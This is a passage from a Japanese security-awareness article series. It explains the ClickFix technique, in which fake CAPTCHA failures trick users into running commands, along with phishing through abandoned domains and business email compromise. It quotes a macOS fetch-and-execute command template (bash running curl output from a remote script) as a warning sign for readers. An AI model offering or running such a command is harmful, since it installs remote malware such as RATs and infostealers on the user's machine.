ClickFixは単純なコマンドのコピーアンドペーストと実行から、その後偽のCAPTCHAやreCAPTCHA を介してコマンドを実行させるものへと進化しています。CAPTCHA または reCAPTCHA 認証に失敗したと見せかけて、コマンドのコピーアンドペーストと実行手順を表示し、エラーの解消にはこの手順を実行せよとするものです。実行手順にはWindowsであれば必ず Windowsボタン+R(Windowsのファイル名指定実行のショートカット)、macOSユーザであれば/bin/bash -c “$(curl -fsSL リモートのシェルファイルへのパス)”が表示されます。いずれもファイルを実行するための手順となります。これを見たら怪しいと思ってWebページを閉じ、会社のマシンを使っている場合は必ずIT部門に報告しましょう。

このほかにも宿泊予約サイトに見せかけたClickFix手法も観測されています 注 7)。ダウンロードされるマルウェアは RAT やインフォスティーラーなど各種あり、この手法を悪用する攻撃者も様々です。日本語での事例はあまり見かけませんが、日本に対して過去に攻撃を実行したグループでの悪用例があり、画面の再現や実行手順の翻訳さえ整ってしまえばいつでも実行可能であることから、警戒するに越したことはありません。

放置ドメインの悪用によるフィッシングリスクと対策

閉鎖したはずのサブドメインやドメインが侵害され、フィッシングの誘導先やフィッシングメールの送信元として悪用されることもあります。自社のドメインやサブドメインが悪用されていないかの確認を定期的に行い、自社ブランドの価値を維持することも非常に重要です。

アタックサーフェス調査の詳細については以下の記事をご参照ください。
「ASM(Attack Surface Management)と脆弱性診断」

企業が狙われるビジネスメール詐欺(BEC):フィッシングの延長にある脅威

ビジネスメール詐欺についてはこちらの記事をご参照ください。
「情報セキュリティ10大脅威」3年連続ベスト3入り、ビジネスメール詐欺を防ぐ手立ては?」


―第4回「企業が実践すべきフィッシング対策とは?」へ続く―

【連載一覧】

第4回「企業が行うべきフィッシング対策」」へ続く―

―第1回「ソーシャルエンジニアリングの定義と人という脆弱性」―
―第2回「実例で解説!フィッシングメールの手口と対策」―
―第4回「企業が実践すべきフィッシング対策とは?」―

【関連記事】
・【重要】楽天証券・SBI 証券をかたるフィッシングメールにご注意!
・IPA 情報セキュリティ10大脅威からみる―注目が高まる犯罪のビジネス化―
・フィッシングとは?巧妙化する手口とその対策
・「情報セキュリティ 10 大脅威」3 年連続ベスト 3 入り、ビジネスメール詐欺を防ぐ手立ては?

注:
1)https://www.bbc.com/news/articles/cq6yznmv3gzo
2)https://www.keishicho.metro.tokyo.lg.jp/kurashi/tokushu/police_officer.html
3)https://www.ic3.gov/PSA/2025/PSA250515
4)https://www.msn.com/en-us/news/us/us-government-is-investigating-messages-impersonating-trumps-chief-of-staff-susie-wiles/ar-AA1FMU7f
5)https://www.microsoft.com/en-us/security/blog/2025/03/06/malvertising-campaign-leads-to-info-stealers-hosted-on-github/
6)https://www.malwarebytes.com/blog/news/2025/01/the-great-google-ads-heist-criminals-ransack-advertiser-accounts-via-fake-google-ads
7)https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/

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